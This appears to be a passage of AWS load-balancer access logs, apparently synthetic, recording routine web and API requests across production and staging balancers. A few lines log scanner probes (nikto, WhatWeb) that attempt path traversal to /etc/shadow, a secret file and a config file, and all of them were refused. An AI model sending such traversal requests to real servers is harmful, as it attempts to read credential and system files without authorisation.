arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf9d-aa8da76c162f4b4ab810bf9f" "prod-web-alb.example.com" "-" 10 2024-11-01T00:34:21.830364Z "forward" "-" "-" "10.0.253.14:443" "404" "-" "-" +https 2024-11-01T00:34:23.754736Z prod-web-alb 226.40.220.29:16230 10.0.209.208:443 0.075569 0.237350 0.000232 301 301 690 6624 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf9f-a7d99c24a17840aba4a66e25" "prod-web-alb.example.com" "-" 8 2024-11-01T00:34:23.754736Z "forward" "-" "-" "10.0.209.208:443" "301" "-" "-" +https 2024-11-01T00:34:25.377091Z prod-web-alb 204.138.171.164:62224 10.0.239.206:443 0.070124 0.328948 0.054471 404 404 257 6372 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfa1-fcb47acffef445ae93ae53bf" "prod-web-alb.example.com" "-" 0 2024-11-01T00:34:25.377091Z "forward" "-" "-" "10.0.239.206:443" "404" "-" "-" +https 2024-11-01T00:34:26.627059Z prod-api-alb 243.235.240.80:58646 10.0.176.239:443 0.075528 0.254891 0.096964 404 404 305 993 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfa2-df09155e4c17495e80267c77" "prod-api-alb.example.com" "-" 5 2024-11-01T00:34:26.627059Z "forward" "-" "-" "10.0.176.239:443" "404" "-" "-" +https 2024-11-01T00:34:28.441588Z staging-alb 213.216.253.22:37632 150.56.203.202:443 0.099386 0.545291 0.122254 404 404 13 4106 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfa4-afd1eef0c451482fa686e543" "staging-alb.example.com" "-" 4 2024-11-01T00:34:28.441588Z "forward" "-" "-" "150.56.203.202:443" "404" "-" "-" +https 2024-11-01T00:34:29.655035Z prod-web-alb 40.99.180.219:46214 10.0.223.41:443 0.014322 0.150215 0.037682 200 200 512 6375 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfa5-0af788e725874b038cb9fa2b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:34:29.655035Z "forward" "-" "-" "10.0.223.41:443" "200" "-" "-" +https 2024-11-01T00:34:30.335567Z prod-api-alb 76.208.16.79:31284 10.0.236.71:443 0.013461 0.020119 0.008745 200 200 678 7946 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfa6-2fea6e6da00f42a5973df394" "prod-api-alb.example.com" "-" 8 2024-11-01T00:34:30.335567Z "forward" "-" "-" "10.0.236.71:443" "200" "-" "-" +https 2024-11-01T00:34:31.170071Z prod-web-alb 79.133.113.55:44736 10.0.201.167:443 0.080821 0.213454 0.008854 302 302 350 1869 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfa7-2cf6a0219816461aa092e21c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:34:31.170071Z "forward" "-" "-" "10.0.201.167:443" "302" "-" "-" +http 2024-11-01T00:34:32.941307Z staging-alb 202.145.239.88:20201 225.60.199.63:8080 0.111817 0.431748 0.036516 200 200 916 2518 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfa8-9347b909af9646f683d9b848" "staging-alb.example.com" "-" 4 2024-11-01T00:34:32.941307Z "forward" "-" "-" "225.60.199.63:8080" "200" "-" "-" +https 2024-11-01T00:34:34.590629Z prod-web-alb 153.76.169.8:52629 10.0.27.50:443 0.060106 0.376918 0.053041 302 302 841 2095 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfaa-a4ea8e20ba0b441aa426809d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:34:34.590629Z "forward" "-" "-" "10.0.27.50:443" "302" "-" "-" +https 2024-11-01T00:34:34.920801Z prod-api-alb 49.195.199.138:25350 10.0.105.37:443 0.059304 0.485394 0.016809 200 200 370 7162 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfaa-f71a031abb3a4aad8c4a2a46" "prod-api-alb.example.com" "-" 1 2024-11-01T00:34:34.920801Z "forward" "-" "-" "10.0.105.37:443" "200" "-" "-" +https 2024-11-01T00:34:36.888638Z prod-web-alb 81.148.87.148:53362 10.0.143.246:443 0.032273 0.360453 0.010708 301 301 698 7100 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfac-92086822ae58439db0dad3ac" "prod-web-alb.example.com" "-" 9 2024-11-01T00:34:36.888638Z "forward" "-" "-" "10.0.143.246:443" "301" "-" "-" +https 2024-11-01T00:34:37.189076Z staging-alb 51.27.205.145:43860 11.150.180.120:8080 0.136592 0.266010 0.028752 302 302 457 13976 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfad-b53cb57b8572462384b68845" "staging-alb.example.com" "-" 0 2024-11-01T00:34:37.189076Z "forward" "-" "-" "11.150.180.120:8080" "302" "-" "-" +https 2024-11-01T00:34:37.710792Z prod-web-alb 112.225.51.112:26727 10.0.93.211:443 0.095543 0.444980 0.013331 301 301 497 9589 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfad-36f83434fc1c4166af0a2fff" "prod-web-alb.example.com" "-" 7 2024-11-01T00:34:37.710792Z "forward" "-" "-" "10.0.93.211:443" "301" "-" "-" +https 2024-11-01T00:34:37.995508Z prod-web-alb 197.7.166.67:36354 10.0.31.251:443 0.079534 0.216188 0.024281 301 301 691 14544 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfad-c1fff5c4a4964dadbf2babe1" "prod-web-alb.example.com" "-" 8 2024-11-01T00:34:37.995508Z "forward" "-" "-" "10.0.31.251:443" "301" "-" "-" +http 2024-11-01T00:34:38.998707Z staging-alb 226.75.188.75:28231 198.145.139.21:443 0.140782 0.509087 0.027054 301 301 677 1456 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfae-3c22007ab54e48bda19d6c27" "staging-alb.example.com" "-" 1 2024-11-01T00:34:38.998707Z "forward" "-" "-" "198.145.139.21:443" "301" "-" "-" +http 2024-11-01T00:34:39.843284Z staging-alb 211.152.185.20:26385 95.73.204.159:8080 0.032352 0.497204 0.090463 301 301 773 368 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfaf-476a554981b746c9937830c3" "staging-alb.example.com" "-" 3 2024-11-01T00:34:39.843284Z "forward" "-" "-" "95.73.204.159:8080" "301" "-" "-" +https 2024-11-01T00:34:40.586311Z prod-web-alb 200.97.35.44:53072 10.0.174.52:443 0.033148 0.134087 0.055998 301 301 145 9343 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfb0-63d2d02a3c204ca7bf0a4006" "prod-web-alb.example.com" "-" 0 2024-11-01T00:34:40.586311Z "forward" "-" "-" "10.0.174.52:443" "301" "-" "-" +https 2024-11-01T00:34:41.974174Z staging-alb 44.186.104.129:31047 36.48.31.151:443 0.054800 0.390249 0.141714 301 301 324 2048 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfb1-8aecb572c52349c39a6ba112" "staging-alb.example.com" "-" 8 2024-11-01T00:34:41.974174Z "forward" "-" "-" "36.48.31.151:443" "301" "-" "-" +https 2024-11-01T00:34:43.787772Z prod-api-alb 45.155.205.19:28413 10.0.190.229:443 0.000455 0.051371 0.008174 403 403 523 11833 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb3-6dc5bf07032f42779f624129" "-" "-" 10 2024-11-01T00:34:43.787772Z "forward" "-" "-" "10.0.190.229:443" "403" "-" "-" +https 2024-11-01T00:34:44.049749Z prod-api-alb 79.60.238.33:25258 10.0.184.222:443 0.001997 0.088122 0.085689 200 200 240 13894 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfb4-85d3d5391a5d47169470cee5" "prod-api-alb.example.com" "-" 6 2024-11-01T00:34:44.049749Z "forward" "-" "-" "10.0.184.222:443" "200" "-" "-" +https 2024-11-01T00:34:45.609434Z prod-web-alb 163.201.136.156:13603 10.0.176.227:443 0.024288 0.371618 0.050558 200 200 717 10012 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfb5-3242d718449243f794236233" "prod-web-alb.example.com" "-" 1 2024-11-01T00:34:45.609434Z "forward" "-" "-" "10.0.176.227:443" "200" "-" "-" +https 2024-11-01T00:34:47.595591Z prod-api-alb 166.164.8.117:29328 10.0.227.141:443 0.027305 0.427199 0.097292 200 200 966 5441 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb7-21f466737ec647f8ab24805a" "prod-api-alb.example.com" "-" 2 2024-11-01T00:34:47.595591Z "forward" "-" "-" "10.0.227.141:443" "200" "-" "-" +https 2024-11-01T00:34:48.367321Z prod-api-alb 184.47.137.142:40222 10.0.237.200:443 0.028950 0.055551 0.035170 200 200 379 9373 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb8-0ae8ccf2a4de4292bbc5699d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:34:48.367321Z "forward" "-" "-" "10.0.237.200:443" "200" "-" "-" +https 2024-11-01T00:34:49.397005Z prod-api-alb 137.94.57.17:41126 10.0.83.111:443 0.067038 0.011647 0.078980 301 301 469 11859 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb9-fa034dd8c41c4f49899ac9d6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:49.397005Z "forward" "-" "-" "10.0.83.111:443" "301" "-" "-" +http 2024-11-01T00:34:50.717188Z staging-alb 121.131.86.27:34344 243.67.252.156:80 0.121705 0.010780 0.038233 200 200 242 4455 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfba-b5df2980a62048c0a11814ac" "staging-alb.example.com" "-" 0 2024-11-01T00:34:50.717188Z "forward" "-" "-" "243.67.252.156:80" "200" "-" "-" +https 2024-11-01T00:34:51.778704Z prod-api-alb 27.184.104.132:62827 10.0.65.205:443 0.056084 0.437180 0.090992 302 302 537 1506 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfbb-c106bbe5a9db403aa0bb992e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:34:51.778704Z "forward" "-" "-" "10.0.65.205:443" "302" "-" "-" +https 2024-11-01T00:34:52.582040Z staging-alb 185.181.51.36:26204 227.38.23.200:443 0.109856 0.489152 0.079941 404 404 920 4152 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfbc-be7172148e6f4674922449d3" "-" "-" 6 2024-11-01T00:34:52.582040Z "forward" "-" "-" "227.38.23.200:443" "404" "-" "-" +https 2024-11-01T00:34:52.964057Z staging-alb 190.253.123.58:48119 151.187.160.121:8080 0.053626 0.317316 0.100632 200 200 882 7508 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfbc-14f7c54a47194838838921b9" "staging-alb.example.com" "-" 0 2024-11-01T00:34:52.964057Z "forward" "-" "-" "151.187.160.121:8080" "200" "-" "-" +https 2024-11-01T00:34:53.329089Z prod-api-alb 119.166.67.39:54391 10.0.154.231:443 0.057340 0.369843 0.022325 200 200 197 3918 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfbd-7431bac2c83942389d330cf5" "prod-api-alb.example.com" "-" 10 2024-11-01T00:34:53.329089Z "forward" "-" "-" "10.0.154.231:443" "200" "-" "-" +http 2024-11-01T00:34:54.371400Z staging-alb 139.240.170.20:27443 70.225.196.196:443 0.045123 0.113089 0.138444 404 404 64 12760 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfbe-f90bd1a68a7649cf8a1ec49b" "staging-alb.example.com" "-" 5 2024-11-01T00:34:54.371400Z "forward" "-" "-" "70.225.196.196:443" "404" "-" "-" +https 2024-11-01T00:34:55.319989Z prod-api-alb 91.233.2.24:29150 10.0.105.35:443 0.053186 0.000889 0.059255 302 302 175 11539 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfbf-37431ec626944592814d80e1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:55.319989Z "forward" "-" "-" "10.0.105.35:443" "302" "-" "-" +http 2024-11-01T00:34:56.809567Z staging-alb 128.106.83.164:12471 206.106.33.134:443 0.104373 0.663113 0.145487 200 200 806 13894 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfc0-4984b9ae86e24a37ab65e6b2" "staging-alb.example.com" "-" 9 2024-11-01T00:34:56.809567Z "forward" "-" "-" "206.106.33.134:443" "200" "-" "-" +https 2024-11-01T00:34:57.802338Z prod-api-alb 81.54.73.207:38595 10.0.146.129:443 0.052133 0.437548 0.043910 200 200 207 4416 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfc1-55684cda326945b180f50132" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:57.802338Z "forward" "-" "-" "10.0.146.129:443" "200" "-" "-" +https 2024-11-01T00:34:58.998894Z prod-api-alb 37.40.241.4:42363 10.0.208.182:443 0.065819 0.005477 0.012498 302 302 308 1213 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfc2-453943bb0e4f49efaf823a7b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:58.998894Z "forward" "-" "-" "10.0.208.182:443" "302" "-" "-" +https 2024-11-01T00:35:00.499381Z prod-web-alb 159.134.110.163:10003 10.0.77.201:443 0.085302 0.048176 0.077582 200 200 652 1197 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfc4-ff926ac1040c420faaf04417" "prod-web-alb.example.com" "-" 6 2024-11-01T00:35:00.499381Z "forward" "-" "-" "10.0.77.201:443" "200" "-" "-" +https 2024-11-01T00:35:02.280646Z prod-web-alb 109.23.136.86:26047 10.0.200.35:443 0.092902 0.318332 0.022297 404 404 603 11507 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfc6-80e2fb866b5443429125a4d8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:35:02.280646Z "forward" "-" "-" "10.0.200.35:443" "404" "-" "-" +https 2024-11-01T00:35:02.844943Z prod-api-alb 152.168.80.59:14929 10.0.166.90:443 0.012175 0.258504 0.023676 200 200 250 12563 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfc6-ad7b0e71a478485dad94209d" "prod-api-alb.example.com" "-" 7 2024-11-01T00:35:02.844943Z "forward" "-" "-" "10.0.166.90:443" "200" "-" "-" +https 2024-11-01T00:35:03.347546Z prod-web-alb 227.72.111.197:63103 10.0.177.253:443 0.038312 0.274842 0.093383 200 200 376 8255 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfc7-c89608d3947144398990fba6" "prod-web-alb.example.com" "-" 6 2024-11-01T00:35:03.347546Z "forward" "-" "-" "10.0.177.253:443" "200" "-" "-" +http 2024-11-01T00:35:03.507955Z staging-alb 231.54.168.189:54859 65.105.146.243:80 0.024689 0.169001 0.122112 302 302 539 423 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfc7-77f8af6361b4430f86149414" "staging-alb.example.com" "-" 8 2024-11-01T00:35:03.507955Z "forward" "-" "-" "65.105.146.243:80" "302" "-" "-" +https 2024-11-01T00:35:04.288206Z prod-api-alb 185.181.51.36:43919 10.0.130.235:443 0.020111 0.392088 0.070283 404 404 429 9298 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfc8-cc14e6d025e44e50b87c67df" "-" "-" 5 2024-11-01T00:35:04.288206Z "forward" "-" "-" "10.0.130.235:443" "404" "-" "-" +https 2024-11-01T00:35:06.176708Z prod-api-alb 93.125.59.124:40170 10.0.148.221:443 0.067658 0.480267 0.027493 200 200 799 11853 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfca-c82bb82827ae4690be1d0094" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:06.176708Z "forward" "-" "-" "10.0.148.221:443" "200" "-" "-" +https 2024-11-01T00:35:07.407773Z staging-alb 57.246.77.3:52210 203.95.59.77:443 0.071748 0.411653 0.045945 301 301 837 4331 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfcb-7201531505e54fa2b03315d0" "staging-alb.example.com" "-" 9 2024-11-01T00:35:07.407773Z "forward" "-" "-" "203.95.59.77:443" "301" "-" "-" +https 2024-11-01T00:35:09.096766Z prod-web-alb 47.0.161.154:14169 10.0.103.242:443 0.005450 0.277531 0.005211 200 200 504 13614 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfcd-8b0bf2f5b8e9485ca393285c" "prod-web-alb.example.com" "-" 7 2024-11-01T00:35:09.096766Z "forward" "-" "-" "10.0.103.242:443" "200" "-" "-" +https 2024-11-01T00:35:10.569540Z prod-web-alb 54.50.122.170:39652 10.0.238.107:443 0.015498 0.200038 0.031950 200 200 365 2263 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfce-d7a8683ea6c7494e8b5c798e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:10.569540Z "forward" "-" "-" "10.0.238.107:443" "200" "-" "-" +https 2024-11-01T00:35:11.034614Z staging-alb 214.222.20.208:54049 8.241.91.205:80 0.113156 0.628092 0.126148 200 200 258 9550 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfcf-7f088e9e8d49494ea3fa59cd" "staging-alb.example.com" "-" 7 2024-11-01T00:35:11.034614Z "forward" "-" "-" "8.241.91.205:80" "200" "-" "-" +https 2024-11-01T00:35:12.986338Z prod-web-alb 163.154.92.15:52734 10.0.199.9:443 0.098447 0.190305 0.058650 200 200 506 3973 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfd0-20851acebe9647d88db6a426" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:12.986338Z "forward" "-" "-" "10.0.199.9:443" "200" "-" "-" +https 2024-11-01T00:35:14.088687Z prod-web-alb 107.93.133.37:38924 10.0.14.76:443 0.063967 0.099231 0.096196 200 200 587 6585 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfd2-3ecdb4618a474b6bb7c1d048" "prod-web-alb.example.com" "-" 4 2024-11-01T00:35:14.088687Z "forward" "-" "-" "10.0.14.76:443" "200" "-" "-" +https 2024-11-01T00:35:15.201975Z prod-api-alb 181.247.133.225:48869 10.0.77.128:443 0.078436 0.361143 0.089450 200 200 376 4532 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfd3-965ada56c00540f9a7d60960" "prod-api-alb.example.com" 